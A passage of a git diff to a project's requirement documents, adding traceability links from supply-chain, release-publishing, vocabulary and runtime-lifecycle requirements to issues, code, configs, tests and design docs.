2026-09-13T00:00:00.000000Z +updated_at: 2026-09-18T00:00:00.000000Z --- # GOV-913 — Trust And Integrity Of Reusable Assets @@ -21,6 +21,18 @@ Requirement inventory expansion. Reusable ecosystem assets need explicit trust a ## Traceability +- IMPLEMENTS → GITHUB_ISSUE `1237` (Issue-bound mixed-requirement delivery governance and tooling CLI regression repair) +- IMPLEMENTS → CODE_FILE `tools/policy/requirement_scope.py` (Exact file ownership with independent requirement status, prerequisite, and traceability enforcement) +- IMPLEMENTS → CODE_FILE `tools/requirement_context.py` (Shared offline issue-scope resolution for local and CI gates) +- IMPLEMENTS → CODE_FILE `tools/check_requirement_governance.py` (Fail-closed mixed-requirement command boundary) +- IMPLEMENTS → CODE_FILE `tools/nox_support/runner.py` (Scoped local and hook policy cannot skip governance) +- IMPLEMENTS → CODE_FILE `tools/nox_support/policy_lanes.py` (Canonical policy entrypoint resolves issue scope) +- IMPLEMENTS → CONFIG `.github/workflows/canonical-verification.yml` (Numeric issue branches retain requirement governance in detached verification) +- IMPLEMENTS → CONFIG `Makefile` (Policy delegates context resolution to the canonical gate) +- TESTS → TEST `implementations/python/tests/test_issue_1237_requirement_scope.py` (Mixed-scope cross-owner, missing-assignment, malformed-authority, status, prerequisite, and ingress regressions) +- DOCUMENTS → DOCUMENTATION `docs/governance/requirement-scopes/README.md` (Closed issue-bound scope format and enforcement semantics) +- DOCUMENTS → DOCUMENTATION `docs/governance/requirement-scopes/1237.json` (Reviewed exact delivery assignments for issue 1237) + - IMPLEMENTS → SPEC `specs/supply-chain/reusable-asset-trust-integrity.md` (Reusable Asset Trust, Authenticity, and Integrity (normative spec)) - IMPLEMENTS → SPEC `contracts/schemas/asset-trust/reusable-asset-trust-policy-v1.json` (reusable-asset-trust-policy-v1 published schema) - IMPLEMENTS → ADR `docs/decisions/adrs/adr-071-reusable-asset-trust-and-integrity-policy.md` (ADR-071: Reusable Asset Trust and Integrity Policy) @@ -57,21 +69,35 @@ Requirement inventory expansion. Reusable ecosystem assets need explicit trust a - IMPLEMENTS → CONFIG `implementations/tooling/artifacts.lock.json` (Reviewed raw and installed artifact identities) - IMPLEMENTS → CONFIG `implementations/tooling/profiles/development-profiles.json` (Supported development platforms and locator classes) - IMPLEMENTS → CONFIG `implementations/tooling/admission-policy.json` (Artifact, source snapshot, action and OCI admission policy) -- IMPLEMENTS → CONFIG `implementations/tooling/actions-policy.json` (Exact GitHub Action source commits) - IMPLEMENTS → CONFIG `implementations/tooling/selector-bindings.json` (Literal selector authority bindings) -- IMPLEMENTS → CONFIG `implementations/tooling/inventory-coverage.json` (Complete package-artifact inventory ownership and disposition) -- IMPLEMENTS → CODE_FILE `tools/check_tooling_artifact_policy.py` (Deterministic offline artifact-policy gate) +- IMPLEMENTS → GITHUB_ISSUE `1226` (Output-bound release SBOM and build provenance) +- IMPLEMENTS → CODE_FILE `tools/release_evidence.py` (Release evidence generation and admission entry point) +- IMPLEMENTS → CODE_FILE `tools/release_evidence_workflows.py` (Native release and reusable-workflow action input identities) +- IMPLEMENTS → CODE_FILE `tools/release_evidence_sbom.py` (Reconciled runtime dependency closure for a built distribution) +- IMPLEMENTS → CODE_FILE `tools/release_evidence_documents.py` (CycloneDX SBOM and build/tool input inventory rendering) +- IMPLEMENTS → CODE_FILE `tools/release_evidence_admission.py` (Output-subject and evidence admission decision) +- IMPLEMENTS → CODE_FILE `tools/release_evidence_verifier.py` (Maintained attestation verifier boundary) +- IMPLEMENTS → CODE_FILE `tools/generate_python_closures_locks.py` (Target-bound PEP 508 marker environment for reviewed closures) +- IMPLEMENTS → CONFIG `.github/workflows/release-please.yml` (Evidence generation, protected signing, admission gate, and durable retention) +- IMPLEMENTS → CONFIG `implementations/tooling/admission-policy.json` (Approved release producer identities) +- TESTS → TEST `implementations/python/tests/test_issue_1226_release_admission.py` (T19 artifact admission rejection matrix) +- TESTS → TEST `implementations/python/tests/test_issue_1226_runtime_closure.py` (T03 runtime closure and extras separation) +- TESTS → TEST `implementations/python/tests/test_issue_1226_release_evidence_cli.py` (T04 producer-policy and credential isolation) +- TESTS → TEST `implementations/python/tests/test_issue_1226_evidence_documents.py` (Output-subject binding of evidence documents) +- TESTS → TEST `implementations/python/tests/test_issue_1226_attestation_verifier.py` (Attestation verifier boundary regressions) +- TESTS → TEST `implementations/python/tests/test_issue_1226_target_markers.py` (Reviewed target marker environment regressions) +- IMPLEMENTS → CODE_FILE `tools/check_tooling_artifact_policy.py` (Selected-input acquisition validation and repository-wide drift checks) - IMPLEMENTS → CODE_FILE `tools/tooling_policy_gate.py` (Dependency-free fail-before-acquisition launcher) - IMPLEMENTS → DOCUMENTATION `docs/decisions/package-artifacts/operations.md` (T22 and T23 policy-gate evidence) - IMPLEMENTS → DOCUMENTATION `docs/decisions/issue-1216-development-artifact-lock-policy-preflight.md` (Artifact-lock implementation preflight) - TESTS → TEST `implementations/python/tests/test_tooling_artifact_policy.py` (Artifact identity, drift, closure projection, bootstrap integrity, coverage, and fail-before-acquisition regressions) - IMPLEMENTS → GITHUB_ISSUE `1217` (Qualify maintained bootstrap clients and host profiles) - IMPLEMENTS → DOCUMENTATION `docs/decisions/issue-1217-bootstrap-clients-host-profiles-preflight.md` (Bootstrap-client and host-profile qualification preflight) -- IMPLEMENTS → CONFIG `.github/workflows/bootstrap-qualification.yml` (Cross-platform bootstrap qualification and offline restoration workflow) -- IMPLEMENTS → CODE_FILE `tools/bootstrap_profile.py` (Host-profile inspection, qualification evidence, and offline-kit verification) -- IMPLEMENTS → CONFIG `implementations/tooling/profiles/development-profiles.json` (Qualified host identities and capability closures) -- IMPLEMENTS → CONFIG `implementations/tooling/schemas/profiles.schema.json` (Qualification evidence and host-profile contract) -- TESTS → TEST `implementations/python/tests/test_issue_1217_bootstrap_profiles.py` (Bootstrap profile, payload identity, curl, and offline-kit regressions) +- IMPLEMENTS → CONFIG `.github/workflows/bootstrap-qualification.yml` (Relevant-change cross-platform bootstrap and native development-image checks) +- IMPLEMENTS → CODE_FILE `tools/bootstrap_profile.py` (Selected host inspection and verified bootstrap payload acquisition and installation) +- IMPLEMENTS → CONFIG `implementations/tooling/profiles/development-profiles.json` (Host identities and capability prerequisites) +- IMPLEMENTS → CONFIG `implementations/tooling/schemas/profiles.schema.json` (Selected artifact, Python closure, and host-profile shapes) +- TESTS → TEST `implementations/python/tests/test_issue_1217_bootstrap_profiles.py` (Host profile, exact payload identity, and real curl regressions) - IMPLEMENTS → GITHUB_ISSUE `1218` (Lock Python tool, isolated-build, project, and smoke dependency closures) - IMPLEMENTS → CONFIG `implementations/tooling/python/pyproject.toml` (Reviewed Python tool and build dependency authority) - IMPLEMENTS → CONFIG `implementations/tooling/python/uv.lock` (Frozen Python tool and build resolution) @@ -82,20 +108,12 @@ Requirement inventory expansion. Reusable ecosystem assets need explicit trust a - IMPLEMENTS → CODE_FILE `tools/nox_support/test_lanes.py` (Compatibility build and installed-distribution smoke orchestration) - IMPLEMENTS → DOCUMENTATION `docs/decisions/issue-1218-python-tool-build-smoke-closure-preflight.md` (Python dependency-closure architecture guardrails) - TESTS → TEST `implementations/python/tests/test_corpus_packaging.py` (Constrained wheel and sdist-to-wheel packaging regressions) -- TESTS → TEST `implementations/python/tests/test_release_workflows.py` (Frozen release build and offline smoke workflow regressions) +- TESTS → TEST `implementations/python/tests/test_release_workflows.py` (Frozen release build, required real-container lane, and fail-closed checks) - IMPLEMENTS → GITHUB_ISSUE `839` (Admit third-party action inputs and finish Scorecard evidence) -- IMPLEMENTS → CONFIG `implementations/tooling/actions-policy.json` (Exact action-source, transitive-input, workflow-job, and use-site admission) - IMPLEMENTS → CONFIG `implementations/tooling/artifacts.lock.json` (Pinned Sonar scanner and Scorecard OCI payload identities) -- IMPLEMENTS → CODE_FILE `tools/tooling_artifact_policy_actions.py` (Stable tooling-policy compatibility facade) -- IMPLEMENTS → CODE_FILE `implementations/tooling/action_policy_conditions.py` (Closed workflow-condition, trust, secret, and permission evaluation) -- IMPLEMENTS → CODE_FILE `implementations/tooling/action_policy_effects.py` (Transitive per-use action security effects) -- IMPLEMENTS → CODE_FILE `implementations/tooling/action_policy_jobs.py` (Workflow-job policy declarations and evaluation) -- IMPLEMENTS → CODE_FILE `implementations/tooling/action_policy_job_steps.py` (Action-use evaluation and job capability comparison) -- IMPLEMENTS → CODE_FILE `implementations/tooling/action_policy_main.py` (Top-level action-policy orchestration and reusable-workflow checks) -- IMPLEMENTS → CODE_FILE `implementations/tooling/action_policy_matrix.py` (Closed matrix expansion and immutable runner-profile resolution) -- IMPLEMENTS → CODE_FILE `implementations/tooling/action_policy_sources.py` (Action source, dependency closure, and exception validation) +- IMPLEMENTS → CODE_FILE `tools/tooling_artifact_policy_actions.py` (Native workflow pins, reusable interfaces, machine permissions, and untrusted credential checks) - IMPLEMENTS → CODE_FILE `implementations/tooling/action_policy_yaml.py` (Alias-free and duplicate-key-free workflow parsing) -- IMPLEMENTS → CODE_FILE `tools/tooling_artifact_policy_selectors.py` (Action-transitive artifact selection coverage) +- IMPLEMENTS → CODE_FILE `tools/tooling_artifact_policy_selectors.py` (Literal artifact selector bindings) - IMPLEMENTS → DOCUMENTATION `docs/decisions/issue-839-action-input-admission-scorecard-preflight.md` (Action-input and Scorecard architecture guardrails) - IMPLEMENTS → DOCUMENTATION `docs/decisions/issue-839-scorecard-evidence.md` (Live Scorecard evidence, service boundaries, and offline nonclaims) - TESTS → TEST `implementations/python/tests/test_tooling_artifact_policy.py` (Action closure, workflow trust, input, credential, runner, and Dependabot drift) @@ -106,21 +124,68 @@ Requirement inventory expansion. Reusable ecosystem assets need explicit trust a - IMPLEMENTS → CODE_FILE `tools/vale_tool.py` (Lock-selected Vale acquisition and installation) - IMPLEMENTS → CODE_FILE `tools/osv_scanner_tool.py` (Lock-selected OSV-Scanner acquisition and installation) - TESTS → TEST `implementations/python/tests/test_issue_1137_maintained_client_acquisition.py` (Maintained-client, local-input, integrity, and installer regressions) -- IMPLEMENTS → CODE_FILE `tools/verified_tool_installation.py` (Digest-scoped private installation, locking, quarantine, and immutable-seed boundary) -- TESTS → TEST `implementations/python/tests/test_issue_1219_verified_tool_installation.py` (Concurrent publication, crash recovery, archive, cache, seed, and legacy-integrity regressions) +- IMPLEMENTS → CODE_FILE `tools/verified_tool_installation.py` (Private digest-scoped installation, locking, quarantine, atomic publication, and integrity) +- TESTS → TEST `implementations/python/tests/test_issue_1219_verified_tool_installation.py` (Concurrent publication, crash recovery, archive, and cache integrity regressions) - IMPLEMENTS → GITHUB_ISSUE `1238` (Reproducible development container image) - IMPLEMENTS → DOCUMENTATION `docs/decisions/issue-1238-development-container-preflight.md` (Development-container authority, security, and platform guardrails) -- IMPLEMENTS → CONFIG `.devcontainer/Dockerfile` (Digest-pinned, snapshot-only, non-root development image definition) +- IMPLEMENTS → CONFIG `.devcontainer/Dockerfile` (Digest-pinned non-root image with normal signed native packages) - IMPLEMENTS → CONFIG `.devcontainer/devcontainer.json` (Ready-on-open dev-container entry point) - IMPLEMENTS → CODE_FILE `tools/tooling_artifact_policy_container.py` (Container image and dev-container drift and safety policy) -- IMPLEMENTS → CODE_FILE `tools/devcontainer_image.py` (Policy-derived development image build plan) +- IMPLEMENTS → CODE_FILE `tools/devcontainer_image.py` (Selected development base image identity) - IMPLEMENTS → CODE_FILE `tools/devcontainer_setup.py` (One-step verified dev-container setup from the locked installers) -- IMPLEMENTS → CODE_FILE `tools/tooling_artifact_policy_devcontainer.py` (Closed-shape dev-container entry point policy) -- IMPLEMENTS → CODE_FILE `tools/bootstrap_profile.py` (Verified locked uv client installation from a payload kit) +- IMPLEMENTS → CODE_FILE `tools/tooling_artifact_policy_devcontainer.py` (Development-container execution and privilege safeguards) +- IMPLEMENTS → CODE_FILE `tools/bootstrap_profile.py` (Selected host inspection and verified bootstrap payload acquisition and installation) - IMPLEMENTS → CODE_FILE `tools/tooling_policy_gate.py` (OCI image selection by closed installed identity) -- IMPLEMENTS → CONFIG `implementations/tooling/profiles/development-profiles.json` (x86_64 container host profile, base image, package snapshot, maintainer packages, and development user) +- IMPLEMENTS → CONFIG `implementations/tooling/profiles/development-profiles.json` (x86_64 container host identity and locked base image) - IMPLEMENTS → CONFIG `implementations/tooling/artifacts.lock.json` (Digest-pinned development base image) - IMPLEMENTS → CONFIG `.github/workflows/bootstrap-qualification.yml` (Clean-image dev-container lifecycle smoke) - IMPLEMENTS → CONFIG `tools/policy/requirement_order.yaml` (reusable-asset-integrity phase mapping) - IMPLEMENTS → DOCUMENTATION `docs/explain/development-container.md` (Development container start, cache, update, and limitation guide) +- IMPLEMENTS → GITHUB_ISSUE `1277` (Verified and documented development-container entry points) +- IMPLEMENTS → DOCUMENTATION `docs/decisions/issue-1277-dev-container-entry-points-preflight.md` (Entry-point claim, evidence, and reuse guardrails) - TESTS → TEST `implementations/python/tests/test_issue_1238_development_container.py` (Container profile join, drift, safety, platform, proof, and launcher regressions) +- IMPLEMENTS → GITHUB_ISSUE `1223` (Mirrored and pre-seeded digest-pinned release-test container input) +- IMPLEMENTS → DOCUMENTATION `docs/decisions/issue-1223-oci-mirror-preseed-preflight.md` (OCI mirror, import, and concurrent-run guardrails) +- IMPLEMENTS → CONFIG `implementations/tooling/admission-policy.json` (Graph-bearing OCI admission policy `oci-graph-v1`) +- IMPLEMENTS → CONFIG `implementations/tooling/schemas/artifact-lock.schema.json` (Closed per-platform OCI index, manifest, config, layer, and uncompressed-layer record) +- IMPLEMENTS → CONFIG `implementations/tooling/artifacts.lock.json` (Reviewed multi-platform release-test image graph) +- IMPLEMENTS → CONFIG `implementations/tooling/selector-bindings.json` (Release-test image consumer binding and lock-anchored digest authority) +- IMPLEMENTS → CODE_FILE `tools/tooling_artifact_policy_oci.py` (OCI graph admission: index identity, layer arity, platform, and policy binding) +- IMPLEMENTS → CODE_FILE `tools/tooling_artifact_policy_artifacts.py` (Platform graph evidence joined to its admission policy) +- IMPLEMENTS → CODE_FILE `tools/oci_release_image.py` (Native pinned pull and daemon OS, architecture, and layer identity readback) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/naming.py` (Run-namespaced provider resource names for concurrent realization) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_reference_backend/drivers/oci.py` (Workspace-scoped native resource naming for owned teardown) +- IMPLEMENTS → CONFIG `.github/workflows/release-please.yml` (Direct pinned image pull and required real-container lane) +- IMPLEMENTS → DOCUMENTATION `docs/decisions/package-artifacts/operations.md` (Issue #1223 OCI mirror and pre-seed evidence) +- IMPLEMENTS → DOCUMENTATION `docs/decisions/package-artifacts/inventory.md` (Locked I11 container input and disposable C04 layout carrier) +- IMPLEMENTS → DOCUMENTATION `docs/explain/releasing.md` (Exact-SHA verification, pinned real-container input, and exact-distribution release contract) +- TESTS → TEST `implementations/python/tests/test_oci_release_image.py` (Pinned identity and daemon readback regressions) +- TESTS → TEST `implementations/python/tests/test_reference_backend_docker_gate.py` (Optional availability versus required integrity failures, namespaces, and owned teardown) +- TESTS → TEST `implementations/python/tests/test_reference_backend_docker_integration.py` (Lock-selected real-container realization with per-run namespaces and owned teardown) +- TESTS → TEST `implementations/python/tests/test_reference_backend_oci_driver.py` (Workspace-scoped container and network naming) +- TESTS → TEST `implementations/python/tests/test_sdl_identifiers.py` (Namespaced provider-name isolation and default-name preservation) +- TESTS → TEST `implementations/python/tests/test_release_workflows.py` (Frozen release build, required real-container lane, and fail-closed checks) +- TESTS → TEST `implementations/python/tests/test_tooling_artifact_policy.py` (OCI graph admission, policy binding, and denied-digest regressions) +- IMPLEMENTS → DOCUMENTATION `docs/research/specification-coverage/index.md` (Release 28.0.0 capture republished against the issue #1223 implementation digest) +- IMPLEMENTS → DOCUMENTATION `docs/research/formal-semantic-validation/index.md` (Release 29.0.0 retest republished against the issue #1223 implementation digest) +- TESTS → TEST `implementations/python/tests/test_specification_coverage.py` (Current coverage capture binds live reference-implementation source) +- TESTS → TEST `implementations/python/tests/test_formal_semantic_validation.py` (Current retest release binds live reference-implementation source) +- TESTS → TEST `implementations/python/tests/test_issue_989_versioned_evidence.py` (Versioned capture history, source-profile binding, and stale-digest rejection) +- IMPLEMENTS → CODE_FILE `tools/tooling_oci_selection.py` (Closed projection of a locked OCI image's platform graph) +- IMPLEMENTS → CODE_FILE `tools/oci_release_selection.py` (Reviewed release-test image projection and required-platform set) + +- IMPLEMENTS → GITHUB_ISSUE `1313` (Connected single-maintainer tooling scope with retained trust boundaries) +- IMPLEMENTS → CODE_FILE `tools/tooling_artifact_selection.py` (Bounded selected artifact and dependency validation independent of unrelated policy) +- IMPLEMENTS → DOCUMENTATION `docs/decisions/package-artifacts/migration.md` (Current scope and dependency ownership) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1313-tooling-scope-preflight.md` (Selected-input and retained-integrity architecture guardrails) +- TESTS → TEST `implementations/python/tests/test_issue_1313_workflow_policy.py` (Native workflow security and removal of enterprise-only coupling) +- TESTS → TEST `implementations/python/tests/test_action_policy_reusable_secrets.py` (Native reusable-workflow interface and credential regressions) + +- TESTS → TEST `implementations/python/tests/issue_1219_installation_harness.py` (Real-process private installation concurrency and crash recovery) +- TESTS → TEST `implementations/python/tests/issue_1220_proof_input_harness.py` (Proof-tree integrity, crash recovery, and egress-denied admission) +- TESTS → TEST `implementations/python/tests/test_issue_1220_isabelle_acquisition.py` (Proof input selection, safe tree installation, and sandbox regressions) +- TESTS → TEST `implementations/python/tests/test_issue_1222_live_runner_acquisition.py` (Verified online live-runner bootstrap and preserved SSH and VM trust boundaries) + +- TESTS → TEST `implementations/python/tests/test_issue_1205_repository_governance.py` (Retained contract ownership checks without the retired tooling-inventory exception) + +- IMPLEMENTS → SPEC `specs/formal/participant-semantics/participant-opacity-proof-evidence.json` (Replayed proof evidence bound to the current selected-input and private installer sources) diff --git a/docs/requirements/GOV-922/requirement.md b/docs/requirements/GOV-922/requirement.md index d10433d51..369cafec2 100644 --- a/docs/requirements/GOV-922/requirement.md +++ b/docs/requirements/GOV-922/requirement.md @@ -6,7 +6,7 @@ type: FUNCTIONAL priority: MUST wave: 2 created_at: 2026-04-05T15:37:12.514093Z -updated_at: 2026-04-11T02:26:15.170014Z +updated_at: 2026-09-18T00:00:00Z --- # GOV-922 — Controlled Vocabularies And Enumerations @@ -108,3 +108,23 @@ A mature interoperability surface needs stable portable terms where comparison m - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/planner/operating_system_capability_domains.py` (Governed identity propagation and owning field normalization) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/satisfiability/_translation.py` (Governed identity propagation and owning field normalization) - TESTS → TEST `implementations/python/tests/test_issue_1206_review_regressions.py` (Private identity, alias, and finite semantic consumer regressions) +- IMPLEMENTS → GITHUB_ISSUE `959` (Audit controlled identity vocabularies and their surrounding runtime contracts) +- DOCUMENTS → DOCUMENTATION `docs/research/language-extensibility/product-semantics-audit.md` (Current family dispositions, evidence, migration ownership and prevention) +- DOCUMENTS → DOCUMENTATION `docs/research/language-extensibility/product-semantics-fields.md` (Field-level semantic ownership across runtime families) +- DOCUMENTS → DOCUMENTATION `docs/explain/reference/issue-959-product-shaped-semantics-preflight.md` (Audit architecture boundaries) +- TESTS → TEST `implementations/python/tests/test_issue_959_audit_coverage.py` (Registry-derived audit field coverage and negative mutations) +- IMPLEMENTS → GITHUB_ISSUE `1298` (Extensible HTTP wire-method identity) +- DOCUMENTS → DOCUMENTATION `docs/explain/reference/issue-1298-http-method-identity-preflight.md` (HTTP method identity architecture boundary) +- DOCUMENTS → ADR `docs/decisions/adrs/adr-026-application-http-surface-inventory.md` (Application HTTP surface identity decision) +- IMPLEMENTS → SCHEMA `contracts/schemas/sdl/materialized-scenario-v1.json` (Published HTTP method identity validation) +- TESTS → TEST `implementations/python/tests/test_issue_1298_http_method_identity.py` (HTTP method token, alias, preservation, and schema conformance) +- IMPLEMENTS → GITHUB_ISSUE `1211` (Integrated progressive specification conformance and recurrence prevention) +- DOCUMENTS → DOCUMENTATION `docs/explain/reference/issue-1211-progressive-conformance-preflight.md` (Integrated conformance architecture boundary) +- TESTS → TEST `implementations/python/tests/test_issue_1211_progressive_conformance.py` (Private, partial, bounded, and lifecycle conformance anchors) +- TESTS → TEST `implementations/python/tests/fixtures/progressive-conformance.yaml` (Inspectable five-Linux private-extension authoring fixture) +- DOCUMENTS → DOCUMENTATION `docs/research/language-extensibility/progressive-conformance-evidence.md` (Integrated acceptance and external journey evidence map) +- TESTS → TEST `implementations/python/tests/test_sdl_models.py` (SDL runtime application validation regression coverage) +- IMPLEMENTS → CODE_FILE `tools/check_specification_coverage.py` (Admit the immutable evidence refresh accompanying the audit's documentation correction) +- TESTS → TEST `implementations/python/tests/test_specification_coverage.py` (Current evidence revision, retained history and exact artifact-digest regression checks) +- TESTS → TEST `implementations/python/tests/test_issue_989_versioned_evidence.py` (Reject stale documentation digests and missing evidence history after the audit capture refresh) +- DOCUMENTS → DOCUMENTATION `docs/research/specification-coverage/execution-snapshot-v20.json` (Fresh evidence for corrected runtime guidance without changing coverage claims) diff --git a/docs/requirements/GOV-928/requirement.md b/docs/requirements/GOV-928/requirement.md index 5b35e951c..9076b07a8 100644 --- a/docs/requirements/GOV-928/requirement.md +++ b/docs/requirements/GOV-928/requirement.md @@ -1,7 +1,7 @@ --- id: GOV-928 title: "Trusted Package Publishing" -status: DRAFT +status: ACTIVE type: NON_FUNCTIONAL priority: MUST wave: 3 @@ -22,13 +22,19 @@ Imported from the superseded governance backlog before deleting the old governan ## Traceability - IMPLEMENTS → CODE_FILE `.github/workflows/release-please.yml` (Exact-SHA-gated PyPI trusted publishing workflow) +- IMPLEMENTS → CODE_FILE `tools/release_evidence_publication.py` (Tag-derived subject-name correspondence and the validated publisher handoff) +- IMPLEMENTS → CODE_FILE `tools/release_evidence.py` (Emits the admitted wheel/sdist identity only after admission succeeds) - IMPLEMENTS → CODE_FILE `.github/workflows/canonical-verification.yml` (Read-only reusable canonical commit verifier) -- TESTS → TEST `implementations/python/tests/test_release_workflows.py` (Release dependency, exact-SHA, action pin, artifact smoke, and OIDC boundary policy tests) +- TESTS → TEST `implementations/python/tests/test_release_workflows.py` (Release classification, dependency, exact-SHA, action pin, artifact smoke, and OIDC boundary policy tests) +- TESTS → TEST `implementations/python/tests/test_issue_1227_release_publication.py` (Publication-boundary subject-name, handoff ordering, and admitted-identity cases) - TESTS → TEST `implementations/python/tests/test_corpus_packaging.py` (Installed-wheel corpus, CLI conformance, and semantic-validation acceptance tests) - TESTS → TEST `implementations/python/tests/test_reference_backend_docker_gate.py` (Required-mode runtime/image failure and reviewed digest policy tests) - DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1125-gov-928-exact-sha-release-verification-preflight.md` (Exact-SHA release verification architecture and trust-boundary preflight) - DOCUMENTS → DOCUMENTATION `docs/explain/releasing.md` (Release operator contract and manual recovery constraints) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-684-public-release-acceptance-preflight.md` (Public publisher evidence boundary, release controls, and acceptance preflight) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1227-release-publication-preflight.md` (Tested-artifact publication and partial-publication recovery architecture) - IMPLEMENTS → GITHUB_ISSUE `684` (Automatic PyPI publishing delivery lineage) +- IMPLEMENTS → GITHUB_ISSUE `1227` (Tested-artifact publication and partial-publication recovery) - IMPLEMENTS → GITHUB_ISSUE `1125` (Repository-owned exact-SHA release verification guarantee) - IMPLEMENTS → GITHUB_ISSUE `1110` (Exact-SHA real-container release admission) - DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1110-required-container-release-gate.md` (Required real-container release-gate architecture and evidence boundary) diff --git a/docs/requirements/RUN-310/requirement.md b/docs/requirements/RUN-310/requirement.md index 1c8587adb..fef2a5c8b 100644 --- a/docs/requirements/RUN-310/requirement.md +++ b/docs/requirements/RUN-310/requirement.md @@ -6,7 +6,7 @@ type: FUNCTIONAL priority: SHOULD wave: 3 created_at: 2026-04-03T06:15:47.797106Z -updated_at: 2026-07-26T14:14:31.531499Z +updated_at: 2026-09-22T01:33:58.710054Z --- # RUN-310 — Intervention, Handoff, And Supervisory Lifecycle @@ -15,12 +15,52 @@ updated_at: 2026-07-26T14:14:31.531499Z The runtime shall support ordered lifecycle transitions for supervision, approval or denial, external direction, intervention, controller handoff, override, and cancellation in mixed-control participant execution, including stale and conflicting decisions, append-only evidence, and explicit relationship to admission, execution, and observation. +The runtime shall instantiate reusable permissions at the exact admitted +episode/state/authority/target/time cut. Each accepted control occurrence, +including a same-state occurrence, shall advance state revision exactly once; +rejection and idempotent retry shall not. It shall reject ambiguous order, +revalidate ordered contenders without rebasing, preserve atomic state/history/ +receipt/audit commit and existing store-scoped retry identity, and enforce +validity, finite-script and resource bounds. Episode initialization, termination, +new-episode admission, process recovery and historical replay shall preserve +their distinct meanings and pinned policy/evidence, without reusing old +proposal decisions or rewriting history. All incumbent control entry paths +shall share this lifecycle relation while retaining independent effect gates. + ## Rationale Issue #794 clarifies that behavior mode is not controller state and that supervisory actions require explicit validity, ordering, idempotency, conflict, provenance, and evidence semantics. +Issue #1351 requires repeated cycles to bind fresh occurrence coordinates +without weakening revision fencing, recovery, authority or historical meaning. + +## Semantic amendment and evidence boundary + +[ADR-110](../../decisions/adrs/adr-110-reusable-mixed-control-policies-and-occurrences.md) +and [MC-01–MC-09](../../../specs/formal/participant-semantics/reusable-mixed-control.md) +define the #1351 amendment. ACTIVE records the accepted contract, not proof +that every amended clause is implemented. Existing code/schema links evidence +the legacy fixed-coordinate form; the new bounded tests evidence a design +projection. Executable adoption and historical readers must meet the +[migration contract](../../migration/reusable-mixed-control.md). + ## Traceability +- IMPLEMENTS → SPEC `specs/formal/participant-semantics/reusable-mixed-control.md` (Revision-fenced application/replay semantic amendment; not runtime conformance) +- IMPLEMENTS → GITHUB_ISSUE `1351` (Semantic decision and canonical requirement amendment) +- DOCUMENTS → DOCUMENTATION `docs/decisions/adrs/adr-110-reusable-mixed-control-policies-and-occurrences.md` (Accepted-on-merge policy/occurrence decision) +- DOCUMENTS → DOCUMENTATION `docs/migration/reusable-mixed-control.md` (Producer/reader and historical-meaning rules) +- DOCUMENTS → DOCUMENTATION `docs/research/reusable-mixed-control/cases.md` (Worked cycles and bounded evidence claims) +- TESTS → TEST `implementations/python/tests/test_issue_1351_mixed_control_design.py` (Bounded abstract-model falsification; not production realization) + +- IMPLEMENTS → GITHUB_ISSUE `OpenRAE/rae#1016` (Coordinate admitted mixed-runtime phase and controller handoff) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime_phase.py` (Bounded evaluator-driven phase progression and handoff evidence) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime_lifecycle.py` (Pre-effect participant-provider cut and lifecycle result evidence) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_episode_control.py` (Active admitted participant-provider lifecycle routing) +- TESTS → TEST `implementations/python/tests/test_issue_1016_mixed_runtime_coordination.py` (Stale, idempotent, bounded, and failed handoff witnesses) +- DOCUMENTS → GITHUB_ISSUE `OpenRAE/rae#1013` (Compose the existing RUN-310 authority in SEM-234 without changing its runtime contract) +- DOCUMENTS → SPEC `specs/formal/participant-semantics/cross-backend-participant-control.md` (Revisioned mixed-composition compatibility boundary) +- TESTS → TEST `implementations/python/tests/test_sem_234_mixed_composition.py` (Bounded composition with incumbent RUN-310 authority) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_crossing_boundary.py` (RUN-310 control-ingress lifecycle enforced at the final sink) - TESTS → TEST `implementations/python/tests/test_issue_1003_final_sink_flow_enforcement.py` (RUN-310 control-ingress final-sink enforcement tests) - IMPLEMENTS → GITHUB_ISSUE `1003` (Issue #1003 enforce participant flow policy at final runtime sinks) @@ -31,3 +71,7 @@ Issue #794 clarifies that behavior mode is not controller state and that supervi - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_control_targets.py` (RUN-310 control target resolution) - TESTS → TEST `implementations/python/tests/test_run_310_supervisory_lifecycle.py` (RUN-310 supervisory lifecycle tests) - IMPLEMENTS → GITHUB_ISSUE `255` (Intervention, Handoff, And Supervisory Lifecycle (RUN-310)) +- IMPLEMENTS → GITHUB_ISSUE `1069` (Controller handoff dispatched as a separately admitted control effect) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_control_effects.py` (Admitted effects routed to their incumbent lifecycle owners) +- TESTS → TEST `implementations/python/tests/test_issue_1069_participant_control_effects.py` (Governed handoff effect with idempotent replay) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_control.py` (Runtime entry point for separately admitted effect dispatch) diff --git a/docs/requirements/RUN-319/requirement.md b/docs/requirements/RUN-319/requirement.md index ee606bdd2..c26537cb2 100644 --- a/docs/requirements/RUN-319/requirement.md +++ b/docs/requirements/RUN-319/requirement.md @@ -21,6 +21,21 @@ Current admission, retrieval, lifecycle, and persistence surfaces do not yet for ## Traceability +- IMPLEMENTS → GITHUB_ISSUE `OpenRAE/rae#971` (Independent single-operation formal model construction) + +- DOCUMENTS → DOCUMENTATION `docs/research/participant-bisimulation/model-construction.md` (Construction boundary and source derivation) + +- TESTS → TEST `implementations/python/tests/test_issue_971_crossing_models.py` (Complete single-operation transition, retry and atomicity construction tests) + +- IMPLEMENTS → CODE_FILE `implementations/formal/participant_crossing/concrete.py` (Issue #971 single-operation formal model construction only; no equivalence or runtime-realization result) + +- IMPLEMENTS → GITHUB_ISSUE `OpenRAE/rae#1016` (Coordinate mixed participant runtimes behind the incumbent crossing decision) +- IMPLEMENTS → CODE_FILE 